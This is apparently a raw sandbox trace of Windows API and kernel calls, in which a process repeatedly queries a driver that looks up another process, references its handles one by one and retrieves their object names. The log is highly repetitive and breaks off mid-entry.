[0120.766] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.766] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.766] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.766] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.766] PsAcquireProcessExitSynchronization () returned 0x0 [0120.766] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.766] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a008972bc0, HandleInformation=0x0) returned 0x0 [0120.766] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.766] PsReleaseProcessExitSynchronization () returned 0x2 [0120.766] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.766] ObQueryNameString (in: Object=0xfffff8a008972bc0, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.766] ObfDereferenceObject (Object=0xfffff8a008972bc0) returned 0x1 [0120.766] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.766] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.766] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.766] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.766] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.766] PsAcquireProcessExitSynchronization () returned 0x0 [0120.766] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.766] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001bf7530, HandleInformation=0x0) returned 0x0 [0120.766] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.766] PsReleaseProcessExitSynchronization () returned 0x2 [0120.766] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.766] ObQueryNameString (in: Object=0xfffff8a001bf7530, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.766] ObfDereferenceObject (Object=0xfffff8a001bf7530) returned 0x1 [0120.766] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.766] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.766] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.766] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.766] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.766] PsAcquireProcessExitSynchronization () returned 0x0 [0120.767] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.767] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001055b00, HandleInformation=0x0) returned 0x0 [0120.767] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.767] PsReleaseProcessExitSynchronization () returned 0x2 [0120.767] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.767] ObQueryNameString (in: Object=0xfffff8a001055b00, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.767] ObfDereferenceObject (Object=0xfffff8a001055b00) returned 0x1 [0120.767] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.767] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.767] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.767] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.767] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.767] PsAcquireProcessExitSynchronization () returned 0x0 [0120.767] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.767] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001c067e0, HandleInformation=0x0) returned 0x0 [0120.767] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.767] PsReleaseProcessExitSynchronization () returned 0x2 [0120.767] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.767] ObQueryNameString (in: Object=0xfffff8a001c067e0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.767] ObfDereferenceObject (Object=0xfffff8a001c067e0) returned 0x1 [0120.767] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.767] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.767] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.767] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.767] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.767] PsAcquireProcessExitSynchronization () returned 0x0 [0120.767] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.767] ObReferenceObjectByHandle (in: Handle=0x1bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00175baa0, HandleInformation=0x0) returned 0x0 [0120.767] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.767] PsReleaseProcessExitSynchronization () returned 0x2 [0120.767] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.767] ObQueryNameString (in: Object=0xfffff8a00175baa0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.767] ObfDereferenceObject (Object=0xfffff8a00175baa0) returned 0x1 [0120.767] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.768] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.768] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.768] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.768] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.768] PsAcquireProcessExitSynchronization () returned 0x0 [0120.768] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.768] ObReferenceObjectByHandle (in: Handle=0x274, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a004a176c0, HandleInformation=0x0) returned 0x0 [0120.768] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.768] PsReleaseProcessExitSynchronization () returned 0x2 [0120.768] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.768] ObQueryNameString (in: Object=0xfffff8a004a176c0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.768] ObfDereferenceObject (Object=0xfffff8a004a176c0) returned 0x1 [0120.768] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.768] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.768] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.768] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.768] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.768] PsAcquireProcessExitSynchronization () returned 0x0 [0120.768] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.768] ObReferenceObjectByHandle (in: Handle=0x278, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00896e170, HandleInformation=0x0) returned 0x0 [0120.768] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.768] PsReleaseProcessExitSynchronization () returned 0x2 [0120.768] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.768] ObQueryNameString (in: Object=0xfffff8a00896e170, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0120.768] ObfDereferenceObject (Object=0xfffff8a00896e170) returned 0x1 [0120.768] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.768] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.768] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.768] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.768] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.768] PsAcquireProcessExitSynchronization () returned 0x0 [0120.768] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.769] ObReferenceObjectByHandle (in: Handle=0x330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00152d660, HandleInformation=0x0) returned 0x0 [0120.769] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.769] PsReleaseProcessExitSynchronization () returned 0x2 [0120.769] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.769] ObQueryNameString (in: Object=0xfffff8a00152d660, ObjectNameInfo=0xfffffa800388e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800388e044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.769] ObfDereferenceObject (Object=0xfffff8a00152d660) returned 0x1 [0120.769] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.769] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.769] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.769] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.769] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.769] PsAcquireProcessExitSynchronization () returned 0x0 [0120.769] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.769] ObReferenceObjectByHandle (in: Handle=0x33c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001537680, HandleInformation=0x0) returned 0x0 [0120.769] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.769] PsReleaseProcessExitSynchronization () returned 0x2 [0120.769] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.769] ObQueryNameString (in: Object=0xfffff8a001537680, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.769] ObfDereferenceObject (Object=0xfffff8a001537680) returned 0x1 [0120.769] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.769] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.769] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.769] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.769] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.769] PsAcquireProcessExitSynchronization () returned 0x0 [0120.769] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.769] ObReferenceObjectByHandle (in: Handle=0x388, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0016495d0, HandleInformation=0x0) returned 0x0 [0120.769] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.769] PsReleaseProcessExitSynchronization () returned 0x2 [0120.769] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.769] ObQueryNameString (in: Object=0xfffff8a0016495d0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.769] ObfDereferenceObject (Object=0xfffff8a0016495d0) returned 0x1 [0120.769] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.770] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.770] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.770] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.770] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.770] PsAcquireProcessExitSynchronization () returned 0x0 [0120.770] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.770] ObReferenceObjectByHandle (in: Handle=0x3a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00174f060, HandleInformation=0x0) returned 0x0 [0120.770] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.770] PsReleaseProcessExitSynchronization () returned 0x2 [0120.770] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.770] ObQueryNameString (in: Object=0xfffff8a00174f060, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.770] ObfDereferenceObject (Object=0xfffff8a00174f060) returned 0x1 [0120.770] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.770] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.770] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.770] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.770] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.770] PsAcquireProcessExitSynchronization () returned 0x0 [0120.770] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.770] ObReferenceObjectByHandle (in: Handle=0x3c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a000009940, HandleInformation=0x0) returned 0x0 [0120.770] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.770] PsReleaseProcessExitSynchronization () returned 0x2 [0120.770] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.770] ObQueryNameString (in: Object=0xfffff8a000009940, ObjectNameInfo=0xfffffa80019fa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fa044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.770] ObfDereferenceObject (Object=0xfffff8a000009940) returned 0x1 [0120.770] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.770] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.770] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.770] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.770] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.770] PsAcquireProcessExitSynchronization () returned 0x0 [0120.770] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.771] ObReferenceObjectByHandle (in: Handle=0x43c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0016bef10, HandleInformation=0x0) returned 0x0 [0120.771] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.771] PsReleaseProcessExitSynchronization () returned 0x2 [0120.771] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.771] ObQueryNameString (in: Object=0xfffff8a0016bef10, ObjectNameInfo=0xfffffa8001a04044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a04044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.771] ObfDereferenceObject (Object=0xfffff8a0016bef10) returned 0x1 [0120.771] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.771] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.771] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.771] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.771] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.771] PsAcquireProcessExitSynchronization () returned 0x0 [0120.771] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.771] ObReferenceObjectByHandle (in: Handle=0x44c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0017fee90, HandleInformation=0x0) returned 0x0 [0120.771] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.771] PsReleaseProcessExitSynchronization () returned 0x2 [0120.771] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.771] ObQueryNameString (in: Object=0xfffff8a0017fee90, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.771] ObfDereferenceObject (Object=0xfffff8a0017fee90) returned 0x1 [0120.771] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.771] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.771] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.771] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.771] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.771] PsAcquireProcessExitSynchronization () returned 0x0 [0120.771] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.771] ObReferenceObjectByHandle (in: Handle=0x48c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001940330, HandleInformation=0x0) returned 0x0 [0120.771] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.771] PsReleaseProcessExitSynchronization () returned 0x2 [0120.771] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.771] ObQueryNameString (in: Object=0xfffff8a001940330, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.771] ObfDereferenceObject (Object=0xfffff8a001940330) returned 0x1 [0120.771] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.772] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.772] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.772] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.772] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: 